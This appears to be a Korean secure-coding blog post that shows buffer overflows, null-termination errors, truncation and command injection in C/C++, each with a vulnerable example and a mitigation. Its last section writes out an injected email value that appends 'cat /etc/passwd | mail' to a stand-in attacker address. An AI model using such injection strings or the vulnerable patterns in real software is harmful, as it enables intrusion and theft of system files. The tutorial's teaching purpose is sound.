시큐어코딩 (6) - CH 02-2 일반적인 오류 코드로 살펴보기
이번 포스트에서는 바로 지난 포스트인 https://vitamin3000.tistory.com/280
시큐어코딩 (5) - CH 02-1 String Vulnerabilities(문자열 취약점)
이번 포스트에서는 문자열 취약점에 대해 알아보고자 한다. 목차는 다음과 같다. Issues컴파일러문자열배경 및 일반적인 문제일반적인 문자열 조작 오류문자열 취약점완화 전략1. 컴파일러 우
vitamin3000.tistory.com
에서 살펴본 일반적인 오류에 대해 코드로 직접 살펴보려 한다.
1. Unbounded String Copies
데이터가 무제한 소스에서 고정 길이 문자 배열로 복사될 때 오류 발생
int main(void) {
char Password[80];
puts("Enter 8 character password:");
gets(Password);
..
}
비밀번호 문자를 저장할 배열의 크기는 80으로 고정되어 있다.
puts에서 8자리 비밀번호를 입력하라하지만, 강제하고 있지 않다.
따라서 사용자가 81글자를 입력하면 배열 범위 초과로 오류가 발생한다
*gets()
stdin이 가리키는 입력 스트림에서 읽을 수 있다.
- EOF가 발생하거나 줄바꿈 문자가 읽힐 때 까지(null로 대체됨) 따라서 null 문자가 포함될 수 있다.
- 취약한 프로그램은 파일을 입력으로 사용하여 호출될 수 있다.
2. Copying and Concatenation
문자열을 복사하고 연결할 때 오류 발생
표준 함수 는 대상 버퍼의 크기를 알지 못하기 때문
int main(int argc, char *argv[]) {
char name[2048];
strcpy(name, argv[1]);
strcat(name, " = ");
strcat(name, argv[2]);
}
간단한 해결 방법으로 input에 해당하는 argv의 길이를 알아내어, 메모리를 동적 할당한다
int main(int argc, char *argv[]){
char *buff = (char *)malloc(strlen(argv[1])+1);
if (buff != NULL) {
strcpy(buff, argv[1]);
printf("argv[1] = %s.\n", buff);
}
else {
/* Couldn't get the memory - recover */
}
return 0;
}
3. C++ Unbounded Copy
아래의 코드는 11자 이상을 입력하면 범위를 벗어난 쓰기 오류가 발생한다
#include<iosream.h>
int main(void){
char buf[12];
cin >> buf;
cout << "echo: " <<buf <<endl;
}
이때 아래와 같이 cin에 관련된 함수를 사용하여 0보다 큰 값으로 설정된 경우 문자 수를 제한할 수 있다.
cin.width(12);
cin >> buf;
값을 입력받은 이후 width의 값이 0으로 재설정 된다.
4. Null-Termination Errors
C-Style 문자열의 또 다른 일반적인 문제는 Null 종료를 제대로 하지 못하는 것이다.
예를 들어 아래의 예시 코드가 있다고 가정해보자
int main(int argc, char* argv[]) {
char a[16];
char b[16];
char c[32];
strcpy(a, "0123456789abcdef");
strcpy(b, "0123456789abcdef");
strcpy(c,a)
}
복사되는 문자열은 "0123456789 abcdef"로 16글자이다.
선언된 배열의 크기또한 16이다
그러면 문자열의 맨 마지막에는 '\0'이 들어가야하는데
배열에는 크기 때문에 들어갈 수가 없다
C언어는 문자열의 끝 부분을 '\0'으로 인식하는데, '\0'이 없으므로 문자열의 끝을 인식할 수 없는 문제가 발생하고,
이로인해 다양한 오류가 발생한다
간단한 해결 방법으로 n만큼의 문자를 복사하는 strncpy를 사용한다.
char *strncpy (char *restrict s1, const char* restrict s2, size_t n);
s2가 가리키는 배열에서 s1이 가리키는 배열로 n 이하의 문자를 복사한다(널 문자 뒤에 오는 문자는 복사되지 않음)
따라서 s2가 가리키는 배열의 첫 번째 배열에 널 문자가 없으면 결과가 NULL로 끝나지 않는다.
5.String Truncation(문자열 잘림)
바이트 수를 제한하는 함수는 버퍼 오버플로 취약점을 완화하기 위해 권장된다
- strncpy () instead of strcpy()
- fgets() instead of gets()
- snprintf() instead of sprintf()
지정된 문자열은 잘린다.
잘림으로 인해 데이터 손실이 발생하고, 경우에 따라 소프트웨어 취약성이 발생 할 수 있다.
6. Improper Data Sanitization(부적절한 데이터 정리)
애플리케이션은 사용자로부터 이메일 주소를 입력받고 해당 주소를 버퍼에 기록한다
sprintf(buffer, "/bin/mail %s < /tmp/email", addr);
그런 다음 system() 호출을 사용하여 버퍼가 실행된다.
만약 사용자가 다음 문자열을 이메일 주소로 입력하게 된다면..
bogus@addr.com; cat /etc/passwd | mail some@badguy.net
이메일 뿐만 아니라 비밀번호도 버퍼에 기록된다